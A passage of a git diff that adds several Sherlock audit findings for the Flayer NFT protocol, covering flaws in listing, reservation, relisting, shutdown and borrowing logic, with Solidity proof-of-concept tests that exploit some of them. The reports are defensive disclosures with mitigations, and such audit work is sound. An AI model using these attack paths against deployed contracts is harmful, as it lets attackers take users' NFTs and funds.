+ });
+ listings.createListings(_listings);
+ vm.stopPrank();
+ }
+```
+## Impact
+`_isLiquidation` may be true even if this ERC721 token is selled out. When this ERC721 is listed again, the lister may lose tax refund because the system thinks this is one liquidation list.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625-L672
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+When we relist one listing, delete `_isLiquidation`
\ No newline at end of file
diff --git a/001/272.md b/001/272.md
new file mode 100644
index 0000000..7a31caa
--- /dev/null
+++ b/001/272.md
@@ -0,0 +1,62 @@
+Obedient Flaxen Peacock
+
+High
+
+# Voters can not recover their collection tokens after shutdown is canceled
+
+### Summary
+
+Since `_collectionParams` is deleted when canceling a shutdown, there is no way for shutdown voters to reclaim their tokens.
+
+### Root Cause
+
+In `CollectionShutdown::cancel():403`, the `_collectionParams` is deleted and no distribution of collection tokens to the user is done.
+
+ref: [`CollectionShutdown::cancel():403`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L403)
+```solidity
+ delete _collectionParams[_collection];
+```
+
+There are only 2 ways for voters to retrieve their tokens.
+1. `reclaimVote()` - This fails because `params.shutdownVotes` is now 0 since it was deleted in `cancel()`. It will revert due to underflow.
+ref: [`CollectionShutdown::reclaimVote():369`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L368-L370)
+```solidity
+ // @audit This will revert due to underflow.
+ params.shutdownVotes -= uint96(userVotes);
+```
+2. `claim()` - This can only be run when the shutdown has been executed. Since shutdown was canceled, this will revert with `ShutdownNotExecuted`.
+ref: [`CollectionShutdown::claim():291-292`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L291-L292)
+
+### Internal pre-conditions
+
+1. A collection for shutdown has increased its total supply of collection tokens. An attacker/user can force this by depositing NFTs to mint more collection tokens.
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+1. Anyone [`start()`s shutdown](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L147) of a collection since its total supply has decreased below the shutdown threshold.
+2. Collection Token holders call [`vote()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L197) to vote for shutdown in exchange for their tokens locked in `CollectionShutdown`.
+3. The total supply of the collection token has increased above the threshold since users [`deposited()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L163) NFTs and minted more collection tokens.
+4. Anyone calls [`cancel()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390-L405) to stop the shutdown of the collection.
+5. Any collection tokens of the target collection that were locked in `CollectionShutdown` can no longer be recovered.
+
+### Impact
+
+The impact is a permanent loss of collection tokens for shutdown voters in the affected collection.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider modifying `reclaimVote()` to the following:
+
+ref: [`CollectionShutdown::reclaimVote():369`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L369)
+```diff
+- params.shutdownVotes -= uint96(userVotes);
++ if (params.shutdownVotes > 0) params.shutdownVotes -= uint96(userVotes);
+```
\ No newline at end of file
diff --git a/001/273.md b/001/273.md
new file mode 100644
index 0000000..2c69d22
--- /dev/null
+++ b/001/273.md
@@ -0,0 +1,158 @@
+Ripe Zinc Duck
+
+High
+
+# Attacker can take out user's repaid protected listing NFT with only `1 ether`.
+
+## Summary
+`ProtectedListings.unlockProtectedListing()` function deletes `_protectedListings[_collection][_tokenId]` while not withdraw it from `Locker` when `_withdraw` parameter is `false`. Therefore, attacker can take out user's repaid protected listing NFT with only `1 ether` before user withdraw it.
+
+## Vulnerability Detail
+`ProtectedListings.unlockProtectedListing()` function is following.
+```solidity
+ function unlockProtectedListing(address _collection, uint _tokenId, bool _withdraw) public lockerNotPaused {
+ // Ensure this is a protected listing
+ ProtectedListing memory listing = _protectedListings[_collection][_tokenId];
+
+ // Ensure the caller owns the listing
+ if (listing.owner != msg.sender) revert CallerIsNotOwner(listing.owner);
+
+ // Ensure that the protected listing has run out of collateral
+ int collateral = getProtectedListingHealth(_collection, _tokenId);
+ if (collateral < 0) revert InsufficientCollateral();
+
+ // cache
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+ uint denomination = collectionToken.denomination();
+ uint96 tokenTaken = _protectedListings[_collection][_tokenId].tokenTaken;
+
+ // Repay the loaned amount, plus a fee from lock duration
+ uint fee = unlockPrice(_collection, _tokenId) * 10 ** denomination;
+ collectionToken.burnFrom(msg.sender, fee);
+
+ // We need to burn the amount that was paid into the Listings contract
+ collectionToken.burn((1 ether - tokenTaken) * 10 ** denomination);
+
+ // Remove our listing type
+ unchecked { --listingCount[_collection]; }
+
+ // Delete the listing objects
+314: delete _protectedListings[_collection][_tokenId];
+
+ // Transfer the listing ERC721 back to the user
+ if (_withdraw) {
+ locker.withdrawToken(_collection, _tokenId, msg.sender);
+ emit ListingAssetWithdraw(_collection, _tokenId);
+ } else {
+ canWithdrawAsset[_collection][_tokenId] = msg.sender;
+ }
+
+ // Update our checkpoint to reflect that listings have been removed
+ _createCheckpoint(_collection);
+
+ // Emit an event
+ emit ListingUnlocked(_collection, _tokenId, fee);
+ }
+```
+The above function doesn't withdraw NFT when `_withdraw` parameter is `false`, but deletes `_protectedListings[_collection][_tokenId]` in `L314`.
+In the meantime, `Locker.redeem()` function is following.
+```solidity
+ function redeem(address _collection, uint[] calldata _tokenIds, address _recipient) public nonReentrant whenNotPaused collectionExists(_collection) {
+ uint tokenIdsLength = _tokenIds.length;
+ if (tokenIdsLength == 0) revert NoTokenIds();
+
+ // Burn the ERC20 tokens from the caller
+ ICollectionToken collectionToken_ = _collectionToken[_collection];
+ collectionToken_.burnFrom(msg.sender, tokenIdsLength * 1 ether * 10 ** collectionToken_.denomination());
+
+ // Define our collection token outside the loop
+ IERC721 collection = IERC721(_collection);
+
+ // Loop through the tokenIds and redeem them
+ for (uint i; i < tokenIdsLength; ++i) {
+ // Ensure that the token requested is not a listing
+223: if (isListing(_collection, _tokenIds[i])) revert TokenIsListing(_tokenIds[i]);
+
+ // Transfer the collection token to the caller
+ collection.transferFrom(address(this), _recipient, _tokenIds[i]);
+ }
+
+ emit TokenRedeem(_collection, _tokenIds, msg.sender, _recipient);
+ }
+```
+`Locker.isListing()` function of `L223` is following.
+```solidity
+ function isListing(address _collection, uint _tokenId) public view returns (bool) {
+ IListings _listings = listings;
+
+ // Check if we have a liquid or dutch listing
+ if (_listings.listings(_collection, _tokenId).owner != address(0)) {
+ return true;
+ }
+
+ // Check if we have a protected listing
+447: if (_listings.protectedListings().listings(_collection, _tokenId).owner != address(0)) {
+ return true;
+ }
+
+ return false;
+ }
+```
+Since `_protectedListings[_collection][_tokenId]` is already deleted in `ProtectedListings.sol#L314`, the condition of `L447` is `false` and `isListing()` function returns `false`. Therefore, attacker can take out user's repaid protected listing NFT by calling `Locker.redeem()` function.
+
+PoC:
+Add the following test code into `ProtectedListings.t.sol`.
+```solidity
+ function test_withdrawProtectedListingError() public {
+ erc721a.mint(address(this), 0);
+
+ erc721a.setApprovalForAll(address(protectedListings), true);
+
+ uint[] memory _tokenIds = new uint[](2); _tokenIds[0] = 0; _tokenIds[1] = 1;
+
+ // create protected listing for tokenId = 0
+ IProtectedListings.CreateListing[] memory _listings = new IProtectedListings.CreateListing[](1);
+ _listings[0] = IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(0),
+ listing: IProtectedListings.ProtectedListing({
+ owner: payable(address(this)),
+ tokenTaken: 0.4 ether,
+ checkpoint: 0
+ })
+ });
+ protectedListings.createListings(_listings);
+
+ vm.warp(block.timestamp + 7 days);
+
+ // attacker can't take out protected listing
+ locker.collectionToken(address(erc721a)).approve(address(locker), 1 ether);
+ vm.expectRevert();
+ locker.redeem(address(erc721a), _tokenIdToArray(0), address(this));
+
+ // user unlock protected listing without withdrawing
+ locker.collectionToken(address(erc721a)).approve(address(protectedListings), 402055890410801920);
+ protectedListings.unlockProtectedListing(address(erc721a), 0, false);
+
+ // attacker can take out protected listing with only 1 ether
+ locker.redeem(address(erc721a), _tokenIdToArray(0), address(this));
+
+ // user lost his NFT
+ vm.expectRevert();
+ protectedListings.withdrawProtectedListing(address(erc721a), 0);
+ }
+```
+As can be seen above, attacker can take out user's repaid protected listing NFT with only `1 ether` before user withdraw it.
+
+## Impact
+In general, the price of protected listing NFT will be more than `1 ether`. However, attacker can take out user's repaid protected listing NFT with only `1 ether`. This means loss of funds for user.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L314
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Don't delete `_protectedListings[_collection][_tokenId]` when `_withdraw` parameter is `false`. And then delete it in the `ProtectedListings.withdrawProtectedListing()` function.
\ No newline at end of file
diff --git a/001/274.md b/001/274.md
new file mode 100644
index 0000000..31a1b0a
--- /dev/null
+++ b/001/274.md
@@ -0,0 +1,37 @@
+Precise Lava Starfish
+
+Medium
+
+# The liquidation list owner may receive some tax refund
+
+## Summary
+The initial owner does not pay tax for the liquidation list. But the initial owner will get some tax refund if their liquidation list is bought via `relist()`
+
+## Vulnerability Detail
+If one protected listing is not healthy, the protected listing will be liquidated and one liquidation list will be created. There is not tax paid when we create one liquidation list. So when this liquidation list is traded, the liquidation initial owner should not earn any tax refund.
+When the liquidation list is traded via `relist()`, we do not consider this kind of scenario, and pay some tax refund to the liquidation listing's owner.
+```solidity
+ function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused {
+ ...
+ // We can process a tax refund for the existing listing
+ // @audit when we relist the liquidated list.
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+ ...
+}
+```
+
+## Impact
+The liquidation list owner may receive some tax refund.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625-L647
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Avoid processing the tax refund if we trade one liquidation list via `relist()`.
\ No newline at end of file
diff --git a/001/275.md b/001/275.md
new file mode 100644
index 0000000..db156d2
--- /dev/null
+++ b/001/275.md
@@ -0,0 +1,120 @@
+Wonderful Rouge Hamster
+
+High
+
+# Reserved listing can be cancelled by the owner
+
+### Summary
+
+The listing owner can cancel it after it was reserved by another user causing a loss of funds for the them.
+
+### Root Cause
+
+In [Listings.sol:690](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690) the listing isn't removed from the `_listings` mapping after it was reserved by the user.
+
+That allows the owner of the listing to call [`cancelListings()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L414) to get back their token.
+
+It's not possible for another user to fill the listing because [`getListingPrice()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L826) will return `false` now that there is a protected listing for that tokenId:
+
+### Internal pre-conditions
+
+none
+
+### External pre-conditions
+
+none
+
+### Attack Path
+
+1. Attacker lists their NFT with a floor multiple > 1
+2. Bob reserves the attacker's NFT
+3. Attacker cancels their listing
+
+The attacker now owns the excess collection tokens because the price was higher than the floor and the NFT itself.
+
+### Impact
+
+Loss of funds for the user who reserved the token.
+
+### PoC
+
+```diff
+diff --git a/flayer/test/Listings.t.sol b/flayer/test/Listings.t.sol
+index a68d91e..184a9c8 100644
+--- a/flayer/test/Listings.t.sol
++++ b/flayer/test/Listings.t.sol
+@@ -3016,6 +3016,68 @@ contract ListingsTest is Deployers, FlayerTest {
+ listings.setProtectedListings(_protectedListings);
+ }
+
++ function test_can_cancel_after_reserve() public {
++ uint _tokenId = 15;
++ address _lister = vm.addr(15);
++ address _relister = vm.addr(16);
++ address _buyer = vm.addr(17);
++ // Provide a token into the core Locker to create a Floor item
++ erc721a.mint(_lister, _tokenId);
++
++ vm.startPrank(_lister);
++ erc721a.approve(address(listings), _tokenId);
++
++ uint[] memory tokenIds = new uint[](1);
++ tokenIds[0] = _tokenId;
++
++ IListings.CreateListing[] memory _listings = new IListings.CreateListing[](1);
++ _listings[0] = IListings.CreateListing({
++ collection: address(erc721a),
++ tokenIds: tokenIds,
++ listing: IListings.Listing({
++ owner: payable(_lister),
++ created: uint40(block.timestamp),
++ duration: VALID_LIQUID_DURATION,
++ floorMultiple: 120
++ })
++ });
++
++ // Create our listings
++ listings.createListings(_listings);
++ vm.stopPrank();
++
++ vm.startPrank(_relister);
++ // Provide our filler with sufficient, approved ERC20 tokens to make the relist
++ uint startBalance = 0.5 ether;
++ ICollectionToken token = locker.collectionToken(address(erc721a));
++ deal(address(token), _relister, startBalance);
++ token.approve(address(listings), startBalance);
++
++ // Relist our floor item into one of various collections
++ listings.reserve({
++ _collection: address(erc721a),
++ _tokenId: _tokenId,
++ _collateral: 0.3 ether
++ });
++
++ vm.stopPrank();
++
++ // Confirm that the listing has been created with the expected details
++ IProtectedListings.ProtectedListing memory _listing = protectedListings.listings(address(erc721a), _tokenId);
++
++ assertEq(_listing.owner, _relister);
++
++ Listings.Listing memory listing = listings.listings(address(erc721a), _tokenId);
++ assertEq(listing.owner, _lister);
++
++ vm.startPrank(_lister);
++ token.approve(address(listings), type(uint).max);
++ // deal(address(token), _lister, 0.5e18);
++ listings.cancelListings(address(erc721a), tokenIds, false);
++
++ assertEq(_lister, erc721a.ownerOf(_tokenId));
++ }
++
+ function test_CanRelistFloorItemAsProtectedListing(address _lister, address payable _relister, uint _tokenId) public {
+ // Set up protected listings
+ listings.setProtectedListings(address(protectedListings));
+```
+
+
+### Mitigation
+
+remove the listing from the `_listings` mapping after it was reserved.
\ No newline at end of file
diff --git a/001/276.md b/001/276.md
new file mode 100644
index 0000000..217ed41
--- /dev/null
+++ b/001/276.md
@@ -0,0 +1,58 @@
+Precise Lava Starfish
+
+Medium
+
+# Borrowers can avoid paying borrowing interest via adjustPosition
+
+## Summary
+Borrowers can repay the principle via `adjustPosition` and avoid paying borrowing interest fees.
+
+## Vulnerability Detail
+When users create one protected listing, the borrowing interest fee starts to accure. Users can adjust their borrowing position via `adjustPosition`.
+The problem is that all repaid amount will be decreased from the `tokenTaken` and `tokenTaken` is this borrowing position's principle. So borrowers can repay their principles to decrease `tokenTaken` to zero and unlock to get back their ERC721 tokens.
+
+For example:
+1. Alice creates one protected position, with `tokenTaken = 0.4 ether`. Then the initial left collateral is 0.55 ether.
+2. After a long period, the borrowing interest fee increases from 0 to 0.4 ether. Now the left collateral is 0.15 ether.
+3. Alice adjust position via repaying 0.4 ether. This will decrease her borrowing principle to 0.
+4. Alice can unlock her protected position without any extra borrowing fees.
+
+```solidity
+ function adjustPosition(address _collection, uint _tokenId, int _amount) public lockerNotPaused {
+ ...
+ // Get the current debt of the position, this is not the debt, this is the left collateral.
+ // Note, here we've already decrease the borrowing interest.
+ int debt = getProtectedListingHealth(_collection, _tokenId);
+ // Calculate the absolute value of our amount
+ uint absAmount = uint(_amount < 0 ? -_amount : _amount);
+ // cache
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // Check if we are decreasing debt
+ if (_amount < 0) {
+ if (debt + int(absAmount) >= int(MAX_PROTECTED_TOKEN_AMOUNT)) revert IncorrectFunctionUse();
+
+ // Take tokens from the caller
+ collectionToken.transferFrom(
+ msg.sender,
+ address(this),
+ absAmount * 10 ** collectionToken.denomination()
+ );
+@> _protectedListings[_collection][_tokenId].tokenTaken -= uint96(absAmount);
+ }
+ ...
+}
+```
+
+## Impact
+Borrowers can avoid paying the borrowing fee via `adjustPosition`
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L366-L417
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+We need to do some refactor for this part. The repay part should include borrow principle and the borrowing interest. Borrowers can assign how much principle they want to repay. The actual repay amount should be calculated via compound factor.
\ No newline at end of file
diff --git a/001/277.md b/001/277.md
new file mode 100644
index 0000000..e66c4f3
--- /dev/null
+++ b/001/277.md
@@ -0,0 +1,132 @@
+Striped Boysenberry Fox
+
+Medium
+
+# Listers can lose top-priced period due to missing validation of listing timestamp.
+
+## Summary
+
+Listers can lose top-priced period due to missing validation of listing timestamp.
+
+## Vulnerability Detail
+
+The [`Listings::relist()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625-L672) function doesn't check the created timestamp of the new listing, so listers can set this field with current, future or past timestamp.
+
+As the price is not available for the future case, future timestamp won't make any problem.
+
+The price of NFTs is calculated as high just after creation, then it's getting lower down to the floor price(1e18 * 10 ** denomination).
+
+So a lister can lose top-priced period by accidently setting a past timestamp.
+
+### Proof-Of-Concept
+
+Here is a new proof testcase in the `Listings.t.sol`:
+
+```solidity
+ function test_RelistCanManipulateTimestamp() public {
+ // Ensure that we don't get a token ID conflict
+ uint256 _tokenId = 1;
+ address _lister = address(0x101);
+ address _relister = address(0x102);
+ uint16 _floorMultiple = 130;
+ address _collection = address(erc721a);
+ ICollectionToken token = locker.collectionToken(_collection);
+
+ // Provide a token into the core Locker to create a Floor item
+ erc721a.mint(_lister, _tokenId);
+
+ // Rather than creating a listing, we will deposit it as a floor token
+ vm.startPrank(_lister);
+ erc721a.approve(address(listings), _tokenId);
+ _createListing({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: IListings.Listing({
+ owner: payable(_lister),
+ created: uint40(block.timestamp),
+ duration: VALID_LIQUID_DURATION,
+ floorMultiple: _floorMultiple
+ })
+ })
+ });
+ vm.stopPrank();
+
+
+ vm.startPrank(_relister);
+ IListings.Listing memory _listing = listings.listings(_collection, _tokenId);
+ console.log("Created Timestamp Before Relist:", _listing.created);
+
+ // Provide our filler with sufficient, approved ERC20 tokens to make the relist
+ uint startBalance = 0.5 ether;
+ deal(address(token), _relister, startBalance);
+ token.approve(address(listings), startBalance);
+
+ // Relist our floor item into one of various collections
+ listings.relist({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: IListings.Listing({
+ owner: payable(_relister),
+ created: uint40(block.timestamp) - 2 days,
+ duration: listings.MIN_LIQUID_DURATION(),
+ floorMultiple: _floorMultiple
+ })
+ }),
+ _payTaxWithEscrow: false
+ });
+ _listing = listings.listings(_collection, _tokenId);
+ console.log("Created Timestamp After Relist:", _listing.created);
+
+ vm.stopPrank();
+ }
+```
+
+And the logs are:
+
+```bash
+$ forge test --match-test test_RelistCanManipulateTimestamp -vv
+[⠒] Compiling...
+[⠊] Compiling 1 files with Solc 0.8.26
+[⠒] Solc 0.8.26 finished in 12.92s
+Compiler run successful!
+
+Ran 1 test for test/Listings.t.sol:ListingsTest
+[PASS] test_RelistCanManipulateTimestamp() (gas: 716524)
+Logs:
+ Created Timestamp Before Relist: 1726126381
+ Created Timestamp After Relist: 1725953581
+
+Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.22ms (730.70µs CPU time)
+
+Ran 1 test suite in 10.41ms (5.22ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
+```
+
+## Impact
+
+A lister can accidently lose top-priced period by setting a past timestamp.
+
+## Code Snippet
+
+[Listings.sol#L625-L672](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625-L672)
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+I'd suggest adding a validation step of `created` timestamp.
+
+```diff
+ function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused {
+ ... ...
+
+ // Validate our new listing
+ _validateCreateListing(_listing);
++ if (_listing.timestamp < block.timestamp) revert;
+
+ ... ...
+ }
+```
diff --git a/001/282.md b/001/282.md
new file mode 100644
index 0000000..ace6219
--- /dev/null
+++ b/001/282.md
@@ -0,0 +1,139 @@
+Mythical Gauze Lizard
+
+Medium
+
+# A malicious user can use `relist()` to prevent a `collection` from being `shutdown`.
+
+### Summary
+
+The user calls [`relist()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L627) of `Listings.sol` to reset listing. However, at this time, `created` is updated with the user's input value. Therefore, a malicious user can damage the `shutDown` function of the corresponding `collection`.
+
+### Root Cause
+
+`created`of listing is updated with the user's input value.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+A malicious sets `created` of listing to `type(uint256).max`
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+A malicious user can damage the `shutDown` function of the corresponding `collection`.
+
+
+### PoC
+
+The user calls `relist()` of `Listings.sol` to reset listing.
+```solidity
+ function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused {
+ // Load our tokenId
+ address _collection = _listing.collection;
+ uint _tokenId = _listing.tokenIds[0];
+
+ // Read the existing listing in a single read
+ Listing memory oldListing = _listings[_collection][_tokenId];
+
+ // Ensure the caller is not the owner of the listing
+ if (oldListing.owner == msg.sender) revert CallerIsAlreadyOwner();
+
+ // Load our new Listing into memory
+ Listing memory listing = _listing.listing;
+
+ // Ensure that the existing listing is available
+ (bool isAvailable, uint listingPrice) = getListingPrice(_collection, _tokenId);
+ if (!isAvailable) revert ListingNotAvailable();
+
+ // We can process a tax refund for the existing listing
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+
+ // Find the underlying {CollectionToken} attached to our collection
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // If the floor multiple of the original listings is different, then this needs
+ // to be paid to the original owner of the listing.
+ uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
+ if (listingPrice > listingFloorPrice) {
+ unchecked {
+ collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
+ }
+ }
+
+ // Validate our new listing
+ _validateCreateListing(_listing);
+
+ // Store our listing into our Listing mappings
+@ _listings[_collection][_tokenId] = listing;
+
+ // Pay our required taxes
+ payTaxWithEscrow(address(collectionToken), getListingTaxRequired(listing, _collection), _payTaxWithEscrow);
+
+ // Emit events
+ emit ListingRelisted(_collection, _tokenId, listing);
+ }
+```
+As you can see, `created` is updated with the user's input value.
+Next, let's look at the `execute` function of `Collection.sol`.
+```solidity
+ function execute(address _collection, uint[] calldata _tokenIds) public onlyOwner whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams storage params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Ensure we have specified token IDs
+ uint _tokenIdsLength = _tokenIds.length;
+ if (_tokenIdsLength == 0) revert NoNFTsSupplied();
+
+ // Check that no listings currently exist
+@ if (_hasListings(_collection)) revert ListingsExist();
+
+ // Refresh total supply here to ensure that any assets that were added during
+ // the shutdown process can also claim their share.
+ uint newQuorum = params.collectionToken.totalSupply() * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT;
+ if (params.quorumVotes != newQuorum) {
+ params.quorumVotes = uint88(newQuorum);
+ }
+
+ // Lockdown the collection to prevent any new interaction
+ locker.sunsetCollection(_collection);
+
+ // Iterate over our token IDs and transfer them to this contract
+ IERC721 collection = IERC721(_collection);
+ for (uint i; i < _tokenIdsLength; ++i) {
+ locker.withdrawToken(_collection, _tokenIds[i], address(this));
+ }
+
+ // Approve sudoswap pair factory to use our NFTs
+ collection.setApprovalForAll(address(pairFactory), true);
+
+ // Map our collection to a newly created pair
+ address pool = _createSudoswapPool(collection, _tokenIds);
+
+ // Set the token IDs that have been sent to our sweeper pool
+ params.sweeperPoolTokenIds = _tokenIds;
+ sweeperPoolCollection[pool] = _collection;
+
+ // Update our collection parameters with the pool
+ params.sweeperPool = pool;
+
+ // Prevent the collection from being executed again
+ params.canExecute = false;
+ emit CollectionShutdownExecuted(_collection, pool, _tokenIds);
+ }
+```
+Therefore, protocol does not execute the `execute()` function.
+
+
+### Mitigation
+
+In `relist()`, update `created` of `listing` to `block.timestamp`.
\ No newline at end of file
diff --git a/001/283.md b/001/283.md
new file mode 100644
index 0000000..0f10b36
--- /dev/null
+++ b/001/283.md
@@ -0,0 +1,169 @@
+Mythical Gauze Lizard
+
+High
+
+# Due to incorrect implementation of the `reserve` function, users may lose NFT and funds.
+
+### Summary
+
+The user calls [`reserve()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L692) of `Listings.sol` to handle the reservation of a listed NFT. But in this function mapping variable `_listings[_collection][_tokenId]` is not deleted. As a result, the user may lose NFT and funds.
+
+### Root Cause
+
+Mapping variable `_listings[_collection][_tokenId]` is not deleted.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+User calls `reserve()` in `Listings.sol`.
+
+### Attack Path
+
+Alice calls `reserve()` to reserve listed NFT whose owner is Bob. At that time, Alice paid some funds to the contract and then still remained in `Locker.sol`. Next, Bob calls `cancelListings` function to withdraw NFT from `Locker.sol`.
+
+### Impact
+
+A malicious user may steal NFT.
+
+### PoC
+
+The user calls `reserve()` of `Listings.sol` to handle the reservation of a listed NFT.
+```solidity
+ function reserve(address _collection, uint _tokenId, uint _collateral) public nonReentrant lockerNotPaused {
+ // Read the existing listing in a single read
+ Listing memory oldListing = _listings[_collection][_tokenId];
+
+ // Ensure the caller is not the owner of the listing
+ if (oldListing.owner == msg.sender) revert CallerIsAlreadyOwner();
+
+ // Ensure that the existing listing is available
+ (bool isAvailable, uint listingPrice) = getListingPrice(_collection, _tokenId);
+ if (!isAvailable) revert ListingNotAvailable();
+
+ // Find the underlying {CollectionToken} attached to our collection
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // Check if the listing is a floor item and process additional logic if there
+ // was an owner (meaning it was not floor, so liquid or dutch).
+ if (oldListing.owner != address(0)) {
+ // We can process a tax refund for the existing listing if it isn't a liquidation
+ if (!_isLiquidation[_collection][_tokenId]) {
+ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+ }
+
+ // If the floor multiple of the original listings is different, then this needs
+ // to be paid to the original owner of the listing.
+ uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
+ if (listingPrice > listingFloorPrice) {
+ unchecked {
+ collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
+ }
+ }
+
+ // Reduce the amount of listings
+ unchecked { listingCount[_collection] -= 1; }
+ }
+
+ // Burn the tokens that the user provided as collateral, as we will have it minted
+ // from {ProtectedListings}.
+ collectionToken.burnFrom(msg.sender, _collateral * 10 ** collectionToken.denomination());
+
+ // We can now pull in the tokens from the Locker
+ locker.withdrawToken(_collection, _tokenId, address(this));
+ IERC721(_collection).approve(address(protectedListings), _tokenId);
+
+ // Create a protected listing, taking only the tokens
+ uint[] memory tokenIds = new uint[](1);
+ tokenIds[0] = _tokenId;
+ IProtectedListings.CreateListing[] memory createProtectedListing = new IProtectedListings.CreateListing[](1);
+ createProtectedListing[0] = IProtectedListings.CreateListing({
+ collection: _collection,
+ tokenIds: tokenIds,
+ listing: IProtectedListings.ProtectedListing({
+ owner: payable(address(this)),
+ tokenTaken: uint96(1 ether - _collateral),
+ checkpoint: 0 // Set in the `createListings` call
+ })
+ });
+
+ // Create our listing, receiving the ERC20 into this contract
+ protectedListings.createListings(createProtectedListing);
+
+ // We should now have received the non-collateral assets, which we will burn in
+ // addition to the amount that the user sent us.
+ collectionToken.burn((1 ether - _collateral) * 10 ** collectionToken.denomination());
+
+ // We can now transfer ownership of the listing to the user reserving it
+ protectedListings.transferOwnership(_collection, _tokenId, payable(msg.sender));
+ }
+```
+As you can see, mapping variable `_listings[_collection][_tokenId]` is not deleted. So original owner can call `cancelListings` to withdraw NFT from `Locker.sol`.
+```solidity
+ function cancelListings(address _collection, uint[] memory _tokenIds, bool _payTaxWithEscrow) public lockerNotPaused {
+ uint fees;
+ uint refund;
+
+ for (uint i; i < _tokenIds.length; ++i) {
+ uint _tokenId = _tokenIds[i];
+
+ // Read the listing in a single read
+ Listing memory listing = _listings[_collection][_tokenId];
+
+ // Ensure the caller is the owner of the listing
+ if (listing.owner != msg.sender) revert CallerIsNotOwner(listing.owner);
+
+ // We cannot allow a dutch listing to be cancelled. This will also check that a liquid listing has not
+ // expired, as it will instantly change to a dutch listing type.
+ Enums.ListingType listingType = getListingType(listing);
+ if (listingType != Enums.ListingType.LIQUID) revert CannotCancelListingType();
+
+ // Find the amount of prepaid tax from current timestamp to prepaid timestamp
+ // and refund unused gas to the user.
+ (uint _fees, uint _refund) = _resolveListingTax(listing, _collection, false);
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+
+ fees += _fees;
+ refund += _refund;
+
+ // Delete the listing objects
+ delete _listings[_collection][_tokenId];
+
+ // Transfer the listing ERC721 back to the user
+ locker.withdrawToken(_collection, _tokenId, msg.sender);
+ }
+
+ // cache
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ // Burn the ERC20 token that would have been given to the user when it was initially created
+ uint requiredAmount = ((1 ether * _tokenIds.length) * 10 ** collectionToken.denomination()) - refund;
+ payTaxWithEscrow(address(collectionToken), requiredAmount, _payTaxWithEscrow);
+ collectionToken.burn(requiredAmount + refund);
+
